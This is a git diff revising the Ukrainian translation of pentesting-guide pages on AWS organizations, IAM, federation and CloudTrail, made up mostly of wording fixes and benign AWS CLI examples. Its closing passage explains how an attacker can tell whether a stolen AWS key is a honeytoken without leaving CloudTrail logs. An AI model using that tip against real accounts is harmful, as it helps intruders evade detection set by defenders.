diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 0fb550dff..05f71569f 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -10,17 +10,17 @@
В AWS є **кореневий обліковий запис,** який є **батьківським контейнером для всіх облікових записів** вашої **організації**. Однак вам не потрібно використовувати цей обліковий запис для розгортання ресурсів, ви можете створити **інші облікові записи, щоб розділити різні AWS** інфраструктури між собою.
-Це дуже цікаво з точки зору **безпеки**, оскільки **один обліковий запис не зможе отримати доступ до ресурсів іншого облікового запису** (якщо спеціально не створені мости), таким чином ви можете створити межі між розгортаннями.
+Це дуже цікаво з точки зору **безпеки**, оскільки **один обліковий запис не зможе отримати доступ до ресурсів з іншого облікового запису** (якщо не створені спеціальні мости), таким чином ви можете створити межі між розгортаннями.
-Отже, в організації є **два типи облікових записів** (ми говоримо про облікові записи AWS, а не про облікові записи користувачів): один обліковий запис, який призначений як обліковий запис управління, і один або кілька облікових записів учасників.
+Отже, в організації є **два типи облікових записів** (ми говоримо про облікові записи AWS, а не облікові записи користувачів): один обліковий запис, який призначений як обліковий запис управління, і один або кілька облікових записів учасників.
- **Обліковий запис управління (кореневий обліковий запис)** - це обліковий запис, який ви використовуєте для створення організації. З облікового запису управління організації ви можете зробити наступне:
- Створити облікові записи в організації
-- Запросити інші існуючі облікові записи в організацію
+- Запросити інші існуючі облікові записи до організації
- Видалити облікові записи з організації
- Керувати запрошеннями
-- Застосовувати політики до сутностей (корені, OU або облікові записи) в межах організації
+- Застосовувати політики до сутностей (корені, ОУ або облікові записи) в межах організації
- Увімкнути інтеграцію з підтримуваними AWS сервісами для надання функціональності сервісу для всіх облікових записів в організації.
- Можливо увійти як кореневий користувач, використовуючи електронну пошту та пароль, які використовувалися для створення цього кореневого облікового запису/організації.
@@ -33,26 +33,26 @@ aws organizations create-account --account-name testingaccount --email testingac
```
### **Організаційні одиниці**
-Облікові записи можуть бути згруповані в **Організаційні одиниці (OU)**. Таким чином, ви можете створювати **політики** для Організаційної одиниці, які будуть **застосовані до всіх дочірніх облікових записів**. Зверніть увагу, що OU може мати інші OU як дочірні.
+Облікові записи можна групувати в **Організаційні одиниці (OU)**. Таким чином, ви можете створювати **політики** для Організаційної одиниці, які будуть **застосовані до всіх дочірніх облікових записів**. Зверніть увагу, що OU може мати інші OU як дочірні.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
-**Політика контролю послуг (SCP)** - це політика, яка визначає послуги та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP **схожі на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для сутностей у членських облікових записах**.
+**Політика контролю сервісів (SCP)** - це політика, яка визначає сервіси та дії, які користувачі та ролі можуть використовувати в облікових записах, на які впливає SCP. SCP **схожі на політики дозволів IAM**, за винятком того, що вони **не надають жодних дозволів**. Натомість SCP визначають **максимальні дозволи** для організації, організаційної одиниці (OU) або облікового запису. Коли ви прикріплюєте SCP до кореня вашої організації або OU, **SCP обмежує дозволи для суб'єктів у членських облікових записах**.
Це є ЄДИНИМ способом, яким **навіть кореневий користувач може бути зупинений** від виконання певних дій. Наприклад, його можна використовувати, щоб зупинити користувачів від вимкнення CloudTrail або видалення резервних копій.\
Єдиний спосіб обійти це - також скомпрометувати **майстер-обліковий запис**, який налаштовує SCP (майстер-обліковий запис не може бути заблокований).
> [!WARNING]
-> Зверніть увагу, що **SCP лише обмежують принципалів в обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі.
+> Зверніть увагу, що **SCP лише обмежують суб'єктів у обліковому записі**, тому інші облікові записи не підлягають впливу. Це означає, що наявність SCP, яка забороняє `s3:GetObject`, не зупинить людей від **доступу до публічного S3 бакету** у вашому обліковому записі.
Приклади SCP:
- Повна заборона кореневого облікового запису
- Дозволити лише конкретні регіони
-- Дозволити лише білий список послуг
+- Дозволити лише сервіси зі списку дозволених
- Заборонити GuardDuty, CloudTrail та S3 Public Block Access від
вимкнення
@@ -68,7 +68,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
### ARN
-**Ідентифікатор ресурсу Amazon (ARN)** - це **унікальна назва**, яку має кожен ресурс всередині AWS, вона складається ось так:
+**Amazon Resource Name** - це **унікальна назва**, яку має кожен ресурс всередині AWS, вона складається ось так:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
@@ -92,7 +92,7 @@ IAM можна визначити за його здатністю керува
### [Кореневий користувач облікового запису AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого ви отримуєте доступ, увійшовши за допомогою **електронної адреси та пароля, які ви використовували для створення облікового запису**.
+Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого отримують доступ, увійшовши з **електронною адресою та паролем, які ви використовували для створення облікового запису**.
Зверніть увагу, що новий **адміністратор** матиме **менше прав, ніж кореневий користувач**.
@@ -100,7 +100,7 @@ IAM можна визначити за його здатністю керува
### [Користувачі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль і до двох ключів доступу).
+Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль та до двох ключів доступу).
Коли ви створюєте користувача IAM, ви надаєте йому **дозволи**, роблячи його **членом групи користувачів**, до якої прикріплені відповідні політики дозволів (рекомендується), або **безпосередньо прикріплюючи політики** до користувача.
@@ -109,10 +109,10 @@ IAM можна визначити за його здатністю керува
#### CLI
- **ID ключа доступу**: 20 випадкових великих алфавітно-цифрових символів, таких як AKHDNAPO86BSHKDIRYT
-- **ID секретного ключа доступу**: 40 випадкових великих і малих символів: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (неможливо відновити втрачені ID секретного ключа доступу).
+- **ID секретного ключа доступу**: 40 випадкових великих і малих символів: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (неможливо відновити втрачені ID секретних ключів доступу).
Коли вам потрібно **змінити ключ доступу**, це процес, який ви повинні виконати:\
-NAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
+_Створіть новий ключ доступу -> Застосуйте новий ключ до системи/додатку -> позначте оригінальний як неактивний -> протестуйте та перевірте, що новий ключ доступу працює -> видаліть старий ключ доступу_
### MFA - Багатофакторна аутентифікація
@@ -142,12 +142,12 @@ aws sts get-session-token --serial-number --token-code
- Група **користувачів** може **містити багато користувачів**, а **користувач** може **належати до кількох груп**.
- **Групи користувачів не можуть бути вкладеними**; вони можуть містити лише користувачів, а не інші групи користувачів.
-- **Не існує групи користувачів за замовчуванням, яка автоматично включає всіх користувачів в обліковому записі AWS**. Якщо ви хочете мати таку групу користувачів, ви повинні створити її та призначити кожного нового користувача до неї.
+- Існує **жодна група користувачів за замовчуванням, яка автоматично включає всіх користувачів у обліковому записі AWS**. Якщо ви хочете мати таку групу користувачів, ви повинні створити її та призначити кожного нового користувача до неї.
- Кількість і розмір ресурсів IAM в обліковому записі AWS, таких як кількість груп і кількість груп, до яких може належати користувач, обмежені. Для отримання додаткової інформації див. [Квоти IAM та AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [Ролі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-Роль IAM **дуже схожа** на **користувача**, оскільки це **ідентифікація з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб бути **прийнятою будь-ким, хто її потребує (і має достатні дозволи)**. **Користувач IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM.
+Роль IAM **дуже схожа** на **користувача**, оскільки це **ідентифікація з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб її **могли приймати будь-хто, хто її потребує (і має достатні дозволи)**. Користувач **IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM.
Роль IAM складається з **двох типів політик**: **політики довіри**, яка не може бути порожньою, що визначає, **хто може прийняти** роль, і **політики дозволів**, яка не може бути порожньою, що визначає, **до чого вона може отримати доступ**.
@@ -168,8 +168,8 @@ aws sts get-session-token --serial-number --token-code
- Політики, керовані AWS (попередньо налаштовані AWS)
- Політики, керовані клієнтом: Налаштовані вами. Ви можете створювати політики на основі політик, керованих AWS (модифікуючи одну з них і створюючи свою), використовуючи генератор політик (GUI, який допомагає вам надавати та відмовляти в дозволах) або написавши свої власні.
-За **замовчуванням доступ** є **забороненим**, доступ буде надано, якщо явно вказана роль.\
-Якщо **існує єдине "Заперечення", воно переважатиме "Дозволити"**, за винятком запитів, які використовують кореневі облікові дані безпеки облікового запису AWS (які за замовчуванням дозволені).
+За **замовчуванням доступ** є **забороненим**, доступ буде надано, якщо була вказана явна роль.\
+Якщо **існує єдиний "Deny", він переважатиме "Allow"**, за винятком запитів, які використовують облікові дані безпеки кореневого облікового запису AWS (які за замовчуванням дозволені).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -192,8 +192,8 @@ aws sts get-session-token --serial-number --token-code
]
}
```
-Глобальні поля, які можна використовувати для умов у будь-якій службі, задокументовані тут.\
-Специфічні поля, які можна використовувати для умов для кожної служби, задокументовані тут.
+Глобальні поля, які можуть бути використані для умов у будь-якій службі, задокументовані тут.\
+Специфічні поля, які можуть бути використані для умов для кожної служби, задокументовані тут.
#### Вбудовані політики
@@ -208,11 +208,11 @@ aws sts get-session-token --serial-number --token-code
### Межі IAM
-Межі IAM можна використовувати для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу іншою **політикою**, операція **не вдасться**, якщо він спробує їх використати.
+Межі IAM можуть бути використані для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу іншою **політикою**, операція **не вдасться**, якщо він спробує їх використати.
Межа - це просто політика, прикріплена до користувача, яка **вказує максимальний рівень дозволів, які користувач або роль можуть мати**. Отже, **навіть якщо у користувача є доступ адміністратора**, якщо межа вказує, що він може лише читати S· бакети, це максимальне, що він може зробити.
-**Це**, **SCPs** та **дотримання принципу найменших привілеїв** - це способи контролю, щоб користувачі не мали більше дозволів, ніж їм потрібно.
+**Це**, **SCP** та **дотримання принципу найменших привілеїв** - це способи контролю, щоб користувачі не мали більше дозволів, ніж їм потрібно.
### Політики сесії
@@ -226,44 +226,44 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-Зверніть увагу, що за замовчуванням **AWS може додавати політики сесії до сесій**, які будуть згенеровані з інших причин. Наприклад, у [неавтентифікованих ролях, що припускають Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) за замовчуванням (використовуючи розширену автентифікацію), AWS згенерує **облікові дані сесії з політикою сесії**, яка обмежує сервіси, до яких може отримати доступ ця сесія [**до наступного списку**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Зверніть увагу, що за замовчуванням **AWS може додавати політики сесії до сесій**, які будуть згенеровані з інших причин. Наприклад, у [неавтентифікованих ролях, що припускають Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) за замовчуванням (використовуючи розширену автентифікацію), AWS згенерує **облікові дані сесії з політикою сесії**, яка обмежує сервіси, до яких може отримати доступ сесія [**до наступного списку**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Отже, якщо в якийсь момент ви зіткнетеся з помилкою "... тому що жодна політика сесії не дозволяє ...", і роль має доступ для виконання дії, це тому, що **існує політика сесії, яка цьому заважає**.
-### Федерація особистостей
+### Федерація ідентичності
-Федерація особистостей **дозволяє користувачам з постачальників особистостей, які є зовнішніми** для AWS, безпечно отримувати доступ до ресурсів AWS без необхідності надавати облікові дані користувача AWS з дійсного облікового запису IAM.\
-Прикладом постачальника особистостей може бути ваш власний корпоративний **Microsoft Active Directory** (через **SAML**) або **OpenID** сервіси (як **Google**). Федеративний доступ дозволить користувачам всередині нього отримувати доступ до AWS.
+Федерація ідентичності **дозволяє користувачам з постачальників ідентичності, які є зовнішніми** для AWS, безпечно отримувати доступ до ресурсів AWS без необхідності надавати облікові дані користувача AWS з дійсного облікового запису IAM.\
+Прикладом постачальника ідентичності може бути ваш власний корпоративний **Microsoft Active Directory** (через **SAML**) або **OpenID** сервіси (як **Google**). Федеративний доступ дозволить користувачам всередині отримати доступ до AWS.
-Щоб налаштувати це довір'я, **генерується постачальник особистостей IAM (SAML або OAuth)**, який буде **довіряти** **іншій платформі**. Потім принаймні одна **роль IAM призначається (довіряюча) постачальнику особистостей**. Якщо користувач з довіреної платформи отримує доступ до AWS, він буде отримувати доступ як зазначена роль.
+Щоб налаштувати це довір'я, створюється **постачальник ідентичності IAM (SAML або OAuth)**, який буде **довіряти** **іншій платформі**. Потім принаймні одна **роль IAM призначається (довіряюча) постачальнику ідентичності**. Якщо користувач з довіреної платформи отримує доступ до AWS, він буде отримувати доступ як зазначена роль.
-Однак зазвичай ви захочете надати **іншу роль в залежності від групи користувача** на сторонній платформі. Тоді кілька **ролей IAM можуть довіряти** сторонньому постачальнику особистостей, і стороння платформа буде тією, що дозволяє користувачам приймати одну роль або іншу.
+Однак зазвичай ви захочете надати **іншу роль в залежності від групи користувача** на сторонній платформі. Тоді кілька **ролей IAM можуть довіряти** сторонньому постачальнику ідентичності, а стороння платформа буде тією, що дозволяє користувачам приймати одну роль або іншу.
-### IAM Identity Center
+### IAM Центр ідентичності
-AWS IAM Identity Center (наступник AWS Single Sign-On) розширює можливості AWS Identity and Access Management (IAM), щоб забезпечити **централізоване місце**, яке об'єднує **адміністрування користувачів та їх доступ до облікових записів AWS** та хмарних додатків.
+AWS IAM Центр ідентичності (наступник AWS Single Sign-On) розширює можливості AWS Identity and Access Management (IAM), щоб забезпечити **централізоване місце**, яке об'єднує **адміністрування користувачів та їх доступ до облікових записів AWS** та хмарних додатків.
Домен для входу буде чимось на зразок `.awsapps.com`.
-Для входу користувачів можна використовувати 3 джерела особистостей:
+Для входу користувачів можна використовувати 3 джерела ідентичності:
-- Identity Center Directory: Звичайні користувачі AWS
+- Довідник Центру ідентичності: Звичайні користувачі AWS
- Active Directory: Підтримує різні конектори
-- Зовнішній постачальник особистостей: Всі користувачі та групи походять від зовнішнього постачальника особистостей (IdP)
+- Зовнішній постачальник ідентичності: Всі користувачі та групи походять від зовнішнього постачальника ідентичності (IdP)
-У найпростішому випадку каталогу Identity Center, **Identity Center матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації.
+У найпростішому випадку довідника Центру ідентичності, **Центр ідентичності матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації.
-Щоб надати доступ користувачу/групі Identity Center до облікового запису, **буде створено постачальника особистостей SAML, який довіряє Identity Center**, і **роль, що довіряє постачальнику особистостей з вказаними політиками, буде створена** в цільовому обліковому записі.
+Щоб надати доступ користувачу/групі Центру ідентичності до облікового запису, буде створено **постачальника ідентичності SAML, що довіряє Центру ідентичності**, і **роль, що довіряє постачальнику ідентичності з вказаними політиками, буде створена** в цільовому обліковому записі.
#### AwsSSOInlinePolicy
-Можливо **надавати дозволи через вбудовані політики для ролей, створених через IAM Identity Center**. Ролі, створені в облікових записах, яким надаються **вбудовані політики в AWS Identity Center**, матимуть ці дозволи у вбудованій політиці під назвою **`AwsSSOInlinePolicy`**.
+Можливо **надавати дозволи через вбудовані політики для ролей, створених через IAM Центр ідентичності**. Ролі, створені в облікових записах, яким надаються **вбудовані політики в AWS Центрі ідентичності**, матимуть ці дозволи у вбудованій політиці під назвою **`AwsSSOInlinePolicy`**.
-Отже, навіть якщо ви бачите 2 ролі з вбудованою політикою під назвою **`AwsSSOInlinePolicy`**, це **не означає, що вона має однакові дозволи**.
+Отже, навіть якщо ви бачите 2 ролі з вбудованою політикою під назвою **`AwsSSOInlinePolicy`**, це **не означає, що вони мають однакові дозволи**.
### Довірчі відносини та ролі між обліковими записами
@@ -288,18 +288,20 @@ AWS IAM Identity Center (наступник AWS Single Sign-On) розширює
### Інші варіанти IAM
-- Ви можете **встановити параметри політики паролів**, такі як мінімальна довжина та вимоги до паролів.
+- Ви можете **встановити налаштування політики паролів**, такі як мінімальна довжина та вимоги до паролів.
- Ви можете **завантажити "Звіт про облікові дані"** з інформацією про поточні облікові дані (такі як час створення користувача, чи увімкнено пароль...). Ви можете генерувати звіт про облікові дані так часто, як раз на **чотири години**.
-AWS Identity and Access Management (IAM) забезпечує **точний контроль доступу** по всьому AWS. З IAM ви можете вказати, **хто може отримати доступ до яких сервісів і ресурсів**, і за яких умов. За допомогою політик IAM ви керуєте дозволами для вашої робочої сили та систем, щоб **забезпечити найменші привілеї**.
+AWS Identity and Access Management (IAM) забезпечує **точний контроль доступу** по всій AWS. З IAM ви можете вказати, **хто може отримати доступ до яких сервісів і ресурсів**, і за яких умов. За допомогою політик IAM ви керуєте дозволами для вашої робочої сили та систем, щоб **забезпечити найменші привілеї**.
### Префікси IAM ID
На [**цій сторінці**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) ви можете знайти **IAM ID префікси** ключів залежно від їх природи:
-| ABIA | [Токен носія служби AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| Код ідентифікатора | Опис |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ACCA | Облікові дані, специфічні для контексту |
+| ABIA | [Токен носія служби AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+
+| ACCA | Контекстно-специфічні облікові дані |
| AGPA | Група користувачів |
| AIDA | Користувач IAM |
| AIPA | Профіль екземпляра Amazon EC2 |
@@ -343,7 +345,7 @@ region = eu-west-2
```
Якщо вам потрібно отримати доступ до **різних облікових записів AWS** і вашому профілю було надано доступ до **прийняття ролі в цих облікових записах**, вам не потрібно вручну викликати STS щоразу (`aws sts assume-role --role-arn --role-session-name sessname`) і налаштовувати облікові дані.
-Ви можете використовувати файл `~/.aws/config`, щоб [ **вказати, які ролі приймати**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), а потім використовувати параметр `--profile` як зазвичай (прийняття ролі буде виконано прозоро для користувача).\
+Ви можете використовувати файл `~/.aws/config`, щоб [**вказати, які ролі приймати**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), а потім використовувати параметр `--profile` як зазвичай (прийняття ролі буде виконано прозоро для користувача).\
Приклад конфігураційного файлу:
```
[profile acc2]
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 1877dab7e..21fc06b95 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -4,14 +4,14 @@
## **CloudTrail**
-AWS CloudTrail **реєструє та моніторить активність у вашому середовищі AWS**. Він захоплює детальні **журнали подій**, включаючи, хто що зробив, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує слід змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпеки та забезпечення відповідності регуляторним вимогам.
+AWS CloudTrail **реєструє та моніторить активність у вашому середовищі AWS**. Він захоплює детальні **журнали подій**, включаючи хто, що, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує слід змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпекових позицій і забезпечення відповідності регуляторним вимогам.
Кожна зафіксована подія містить:
-- Ім'я викликаного API: `eventName`
-- Викликаний сервіс: `eventSource`
+- Назву викликаного API: `eventName`
+- Викликану службу: `eventSource`
- Час: `eventTime`
-- IP-адреса: `SourceIPAddress`
+- IP-адресу: `SourceIPAddress`
- Метод агента: `userAgent`. Приклади:
- Signing.amazonaws.com - З AWS Management Console
- console.amazonaws.com - Кореневий користувач облікового запису
@@ -24,12 +24,12 @@ AWS CloudTrail **реєструє та моніторить активність
CloudTrail дозволяє використовувати **цілісність файлів журналів, щоб мати можливість перевірити, що ваші файли журналів залишилися незмінними** з моменту їх доставки вам. Він створює SHA-256 хеш журналів у файлі дайджесту. SHA-256 хеш нових журналів створюється щогодини.\
При створенні Trail селектори подій дозволять вам вказати, які події реєструвати: управлінські, дані або події аналітики.
-Журнали зберігаються в кошику S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS та вашими власними ключами.
+Журнали зберігаються в кошику S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS і своїми ключами.
Журнали зберігаються в **кошику S3 з таким форматом імені**:
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
-- Ім'я кошика: **`aws-cloudtrail-logs--`**
+- Де BucketName: **`aws-cloudtrail-logs--`**
- Приклад: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
У кожній папці кожен журнал матиме **ім'я, що відповідає цьому формату**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
@@ -48,14 +48,14 @@ CloudTrail дозволяє використовувати **цілісніст
- Застосуйте дозволи до цільового кошика S3, дозволяючи доступ між обліковими записами для CloudTrail і дозволяючи кожному обліковому запису AWS, який потребує доступу
- Створіть новий Trail в інших облікових записах AWS і виберіть використання створеного кошика на етапі 1
-Однак, навіть якщо ви можете зберігати всі журнали в одному кошику S3, ви не можете агрегувати журнали CloudTrail з кількох облікових записів у журнали CloudWatch, що належать одному обліковому запису AWS.
+Однак, навіть якщо ви можете зберігати всі журнали в одному кошику S3, ви не можете агрегувати журнали CloudTrail з кількох облікових записів у журнали CloudWatch, що належать до одного облікового запису AWS.
> [!CAUTION]
> Пам'ятайте, що обліковий запис може мати **різні Trails** з CloudTrail **увімкненими**, зберігаючи однакові (або різні) журнали в різних кошиках.
### CloudTrail з усіх облікових записів організації в 1
-При створенні CloudTrail можливо вказати активувати cloudtrail для всіх облікових записів в організації та отримати журнали в лише 1 кошик:
+При створенні CloudTrail можливо вказати активувати CloudTrail для всіх облікових записів в організації та отримати журнали в лише 1 кошик:
@@ -83,23 +83,23 @@ aws cloudtrail validate-logs --trail-arn --start-time [-
### Інсайти
-**CloudTrail Insights** автоматично **аналізує** події управління записами з трас CloudTrail і **сповіщає** вас про **незвичайну активність**. Наприклад, якщо спостерігається збільшення подій `TerminateInstance`, що відрізняється від встановлених базових значень, ви побачите це як подію Insight. Ці події роблять **знаходження та реагування на незвичайну API-активність легшими** ніж будь-коли.
+**CloudTrail Insights** автоматично **аналізує** події управління записами з трас CloudTrail і **сповіщає** вас про **незвичайну активність**. Наприклад, якщо є збільшення подій `TerminateInstance`, яке відрізняється від встановлених базових значень, ви побачите це як подію Insight. Ці події роблять **знаходження та реагування на незвичайну API-активність легшими** ніж будь-коли.
Інсайти зберігаються в тому ж бакеті, що й логи CloudTrail: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Безпека
-
-| Цілісність файлів логів CloudTrail |
Перевірити, чи не були змінені логи (модифіковані або видалені)
Використовує файли дайджесту (створює хеш для кожного файлу)
SHA-256 хешування
SHA-256 з RSA для цифрового підпису
приватний ключ, що належить Amazon
Створення файлу дайджесту займає 1 годину (виконується щогодини)
|
+| Назва контролю | Деталі реалізації |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| Зупинити несанкціонований доступ |
Використовуйте політики IAM та політики бакетів S3
команда безпеки —> адміністраторський доступ
аудитори —> доступ лише для читання
Використовуйте SSE-S3/SSE-KMS для шифрування логів
|
-| Запобігти видаленню файлів логів |
Обмежити доступ до видалення за допомогою IAM та політик бакетів
Налаштувати S3 MFA видалення
Перевірити за допомогою валідації файлів логів
|
+| Цілісність файлів логів CloudTrail |
Перевірити, чи логи були підроблені (змінені або видалені)
Використовує файли дайджесту (створює хеш для кожного файлу)
SHA-256 хешування
SHA-256 з RSA для цифрового підпису
приватний ключ належить Amazon
Створення файлу дайджесту займає 1 годину (здійснюється щогодини)
|
+| Зупинити несанкціонований доступ |
Використовуйте політики IAM та політики бакетів S3
команда безпеки —> адміністраторський доступ
аудитори —> доступ лише для читання
Використовуйте SSE-S3/SSE-KMS для шифрування логів
|
+| Запобігти видаленню файлів логів |
Обмежити доступ до видалення за допомогою IAM та політик бакетів
Налаштувати S3 MFA видалення
Перевірити за допомогою валідації файлів логів
|
-## Консультант доступу
+## Консультант з доступу
-AWS Access Advisor спирається на останні 400 днів логів AWS **CloudTrail для збору своїх інсайтів**. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Access Advisor використовує ці дані, щоб **показати, коли сервіси востаннє використовувалися**. Аналізуючи логи CloudTrail, Access Advisor може визначити, які сервіси AWS використовував IAM-користувач або роль і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо **удосконалення дозволів**, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання.
+AWS Access Advisor покладається на останні 400 днів логів AWS **CloudTrail для збору своїх інсайтів**. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Консультант з доступу використовує ці дані, щоб **показати, коли сервіси востаннє використовувалися**. Аналізуючи логи CloudTrail, Консультант з доступу може визначити, які сервіси AWS використовував IAM-користувач або роль і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо **удосконалення дозволів**, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання.
> [!TIP]
-> Отже, Access Advisor інформує про **необхідні дозволи, що надаються користувачам**, щоб адміністратор міг їх видалити
+> Отже, Консультант з доступу інформує про **необхідні дозволи, які надаються користувачам**, щоб адміністратор міг їх видалити
@@ -150,13 +150,13 @@ https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript
Honeytokens створюються для **виявлення ексфільтрації чутливої інформації**. У випадку з AWS, це **ключі AWS, використання яких контролюється**, якщо щось викликає дію з цим ключем, то хтось, напевно, вкрали цей ключ.
-Однак Honeytokens, такі як ті, що створені [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви можете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створював будь-який журнал, **ви могли б дізнатися, чи є ключ honeytoken чи ні**.
+Однак Honeytokens, такі як ті, що створені [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви зможете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створив будь-який журнал, **ви зможете дізнатися, чи є ключ honeytoken чи ні**.
